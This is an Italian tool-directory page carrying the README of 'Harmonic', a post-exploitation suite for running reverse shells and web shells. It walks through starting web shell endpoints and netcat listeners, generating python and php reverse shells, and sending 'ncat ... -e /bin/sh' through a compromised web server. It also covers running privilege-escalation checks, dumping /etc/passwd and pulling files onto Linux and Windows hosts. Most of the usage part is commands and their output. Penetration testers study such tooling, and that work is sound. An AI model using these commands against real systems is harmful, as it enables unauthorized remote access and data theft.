Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Harmonic — Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa | Kitploit
Strumenti/GitLabGitLab/runik/harmonic
Escalation di PrivilegiScripting e AutomazioneSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitPenetration TestingCommand and ControlStrumento di Accesso RemotoGenerazione di ShellcodeSviluppo Payload
GitLab
8 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
runik/harmonic

Harmonic

Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa

Vedi Repository

Harmonic Suite

L'inizio di un insieme di strumenti Linux per gestire e interfacciarsi con reverse shell (il codice è ancora in uno stato rapido e sporco, con poca gestione delle eccezioni). Con una forte ispirazione alla filosofia UNIX, l'idea di base è avere un demone per gestire endpoint arbitrari (connd, anche se non è ancora un vero demone ma può girare in un terminale separato) ed eseguire strumenti su quegli endpoint.

Gli endpoint sono 'guidati' da uno script o un processo e vengono esposti come file nel filesystem; un client software leggero può quindi essere utilizzato per interagire con essi, ma possono essere altrettanto facilmente scritti e letti usando comandi shell. In effetti, poter eseguire gli script in modo autonomo dalla shell è un fattore chiave del design in cui, idealmente, al massimo uno script dipenderà dalla presenza di un endpoint, ma può essere utilizzato anche in combinazione (a cascata l'uno nell'altro).

Le opzioni attuali degli endpoint sono:

  • nc - Avvia un endpoint netcat su una porta specifica
  • wsh - Una shell contestuale usata per interagire con un semplice script di web shell
  • with - Esegue un processo arbitrario come endpoint

Il client software leggero (hthinc.py) fornisce un'interfaccia di base all'endpoint del sistema e consente di eseguire rapidamente script sul sistema. Sono stati scritti diversi script semplici ma utili:

  • sp - esegue un'enumerazione su un sistema Linux remoto, determina i linguaggi di scripting (attualmente solo Python), avvia un nuovo endpoint e genera una shell interattiva attraverso l'endpoint corrente per connettersi al nuovo endpoint. Se viene specificato un driver, salta l'enumerazione e tenta di usare quel driver
  • lpc - Esegue lo script Linux Priv Escalation Checker sul sistema tramite l'endpoint
  • log - Registra l'output di un comando nella directory di lavoro corrente
  • mac - Esegue una macro predefinita sull'endpoint (come definito nella sezione macro di $HCROOT/.hcrc
  • pull - Uno script macro per wget che scaricherà file da un portale di dispatch (linux)
  • fpull - Uno script macro per fetch che scaricherà file da un portale di dispatch (*bsd)
  • wpinit - Enumera i motori di scripting di Windows (attualmente solo VB) e genera uno script file portal da usare con wpull
  • vbpull - Uno script macro per lo script portal.vbs (vedi: wpinit) per scaricare file da un portale di dispatch (windows)
  • pspull - Uno script macro per usare PowerShell e scaricare un file da un portale di dispatch (windows)

I tipi di driver di reverse shell (cioè ciò che guida la shell sul sistema remoto) sono i seguenti (attualmente supporto per Linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Altri script:

  • hgenrsh.py - genera un comando reverse shell in Python (compresso e codificato in base64) che può generare un processo figlio dal processo in esecuzione
  • hcmd.py - esegue un comando dall'ambiente locale
  • hscr.py - esegue uno script con hook
  • hdis.py - resta in ascolto di una connessione e invia dati arbitrari al client da stdin
  • sys/bin/hpd.py - Server di dispatch del portale per scaricare file tramite protocollo HTTP

Esempio di utilizzo

  • Per l'esempio, $HCROOT punta alla directory di questo repository (vedi configurazione in fondo)
  • connd è in esecuzione come demone o processo normale.
    • Può essere eseguito da $HCROOT/sys/bin/connd (deve essere compilato prima)

Di' a connd di avviare un endpoint, usando un driver wedge shell sullo script php fornito che effettua chiamate di sistema con risposta formattata. Tuttavia, questo script di una sola riga avrebbe potuto essere facilmente iniettato come codice in un log di un server

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

Questo ha creato l'endpoint 1 (due pipe di I/O -- puoi vederle come t1i e t1o nella sottodirectory run). Quindi ora usiamo hthinc.py per interagire con la shell.

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Sappiamo che questa è una macchina Linux. Vogliamo allontanarci da una web shell incastrata e ottenere una shell vera e propria. Eseguire il comando integrato !help fornisce il messaggio di aiuto di thinc. Possiamo eseguire uno script sp che eseguirà automaticamente comandi sul sistema remoto, enumerando l'ambiente, avvierà un endpoint nc, genererà una reverse shell e accederà automaticamente tramite una nuova hthinc.py:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Oppure, se sappiamo di usare (ad esempio) PHP come driver, possiamo specificarlo:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

E diciamo che abbiamo una shell senza TTY o vogliamo uscirne, possiamo eseguire una delle macro predefinite:

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Inoltre, se vogliamo registrare l'output di un comando, possiamo usare lo script log, che lo salverà nella directory di lavoro corrente:

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Mentre gli endpoint sono in esecuzione, puoi collegare/scollegare i client poiché i processi di connessione sono gestiti dal demone.

Ripetizione rapida

Poiché tutto può essere eseguito in modo più unixy, possiamo ripetere rapidamente i processi dalla shell. Avviamo un endpoint webshell, otteniamo l'ID dell'endpoint e poi dalla shell eseguiamo lo script sp.py contro l'endpoint (è lo stesso script usato in hthinc.py ma con un punto di ingresso diverso).

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

oppure come one-liner:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

e automatizzare facilmente:

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Eseguire un comando dal tuo ambiente locale

Lo strumento hcmd.py ti permette di eseguire rapidamente un comando attraverso un endpoint dalla tua shell

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

e di usare pipe o reindirizzamenti sui risultati come al solito

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Tenere traccia degli endpoint

Puoi usare il verbo list di hconn.py per vedere l'elenco corrente degli endpoint, con lo stato della connessione se rilevante

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

Lavorare con gli endpoint come file

Configura un endpoint wedge shell:

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

Ora possiamo configurare un listener netcat sulla porta 4444:

root@kitploit:~
$ hconn.py start nc 4444
2

E poi scrivere nell'endpoint wedge shell (eid 1) attraverso il file di input:

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

Questo dovrebbe aver inviato una shell al listener netcat. Collega il client leggero all'endpoint netcat (eid 2) e dovremmo avere un'altra shell in attesa:

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Esecuzione di script

Generalizzare l'interfaccia della shell in file significa che gli script usati su un endpoint webshell funzioneranno anche su un endpoint reverse shell netcat. Puoi invocare gli script usando il loro percorso assoluto ($HCROOT/share/script/*.py) oppure puoi usare lo script helper hscr.py

Possiamo eseguire sp.py sull'endpoint netcat e generare un'altra reverse shell:

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

e l'equivalente usando il percorso assoluto sarebbe $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1

oppure possiamo eseguire Linux Priv Escalation Checker su una webshell:

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

e possiamo invocarli all'interno di un'istanza di hthinc.py

!run lpc

Variabili d'ambiente

Le variabili d'ambiente possono essere usate per definire valori globali. Ci sono tre livelli di variabili, ciascuno con priorità inferiore al successivo:

  • Risorsa
  • Ambiente/Shell
  • Inline

Le variabili del file resource sono definite in $HCROOT/.hcrc. Queste hanno la priorità più bassa ma possono essere usate per evitare di inquinare le variabili d'ambiente a livello di sistema.

Le variabili environment/shell vengono portate nel processo dalla shell e hanno il prefisso HCV_. Queste si fonderanno con le variabili resource e sovrascriveranno i valori già esistenti.

Le variabili inline sovrascriveranno tutto ciò che è stato definito in precedenza.

esempio

Per questi esempi, LHOST=127.0.0.1 è definita come variabile resource in .hcrc e l'uso dello script è ./script LPORT [LHOST]

Il seguente script avrà LHOST=127.0.0.1 e LPORT=4455 (variabile resource)

root@kitploit:~
$ ./script 4455

Il seguente script avrà LHOST=192.168.1.101 e LPORT=4455 (variabile shell)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

Il seguente script avrà LHOST=10.10.10.125 (variabile inline)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

Gli stessi principi possono essere applicati a hthinc.py !run SCR, (tieni presente: le variabili environment/shell sono quelle passate a ./hthinc.py)

Portale

Il server portal è un server HTTP di base che può essere usato per scaricare file sul sistema remoto usando script. Questi script tendono a comportarsi come macro attorno al comando, creando un'interazione più uniforme tra piattaforme. Il server gestisce i file relativamente da $HCROOT/share/disp/

Esempio di utilizzo

hpd.py è in esecuzione sulla porta 80. DHOST e DPORT sono state definite in .hcrc rispettivamente come 127.0.0.1 e 80 (Puntano al server di dispatch). Questo significa che non devo inserire queste variabili quando invoco lo script, ma se devono essere diverse, le includiamo come variabili inline, come la variabile FILE=.

Stiamo invocando gli script da hthinc.py ma, ancora una volta, possiamo eseguire questi script dalla nostra shell abituale passando loro un ID endpoint sulla riga di comando. Se DHOST e DPORT sono già definiti, non è necessario includerli sulla riga di comando.

Per questo stiamo usando PowerShell, tramite pspull, per scaricare il file:

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Qui non abbiamo PowerShell, quindi dobbiamo inizializzare lo script portal e poi scaricare il file:

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

Lo script pull viene usato per Linux:

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Giusto per chiarire le variabili inline:

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

Macro

Le macro sono definite nella sezione macro di $HCROOT/.hcrc e vengono invocate dallo script mac. In questa forma di base assomigliano a un alias di shell e sono in pratica semplici script a senso unico, che inviano un comando attraverso l'endpoint alla shell remota. È più semplice associare alle macro sequenze di comandi usate di frequente ma laboriose.

Invocare lo script mac da una hthinc.py include l'uso di una variabile senza nome, cioè una variabile senza etichetta. Questo consente di invocare le macro come un parametro da riga di comando dello script.

Ancora una volta, le macro possono essere invocate dalla tua shell abituale usando lo stesso script mac.py.

esempio

Questo esempio invoca la macro pty in una shell instabile. La macro è un alias per python -c 'import pty; pty.spawn("/bin/bash")':

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

L'equivalente dell'eseguirlo dalla riga di comando su (ad es.) endpoint 5 sarebbe hscr.py 5 mac pty. La prossima volta che colleghi un client all'endpoint, dovrebbe essere in esecuzione con una tty.

inserire !run mac --list mostrerà l'elenco delle macro.

Configurazione

  • Il toolset richiede una variabile d'ambiente HCROOT che punti alla directory principale di harmonic.
  • Aggiungi $HCROOT al tuo $PATH e potrai usare gli script principali da qualsiasi directory.

Per compilare connd:

  • aggiungi $HCROOT/sys al tuo $GOPATH
  • da $HCROOT/sys/bin: go build connd

Dipendenze

  • Python 3.5
  • Go (il mio sistema è 1.7.5)
  • Linux
Scarica lo strumento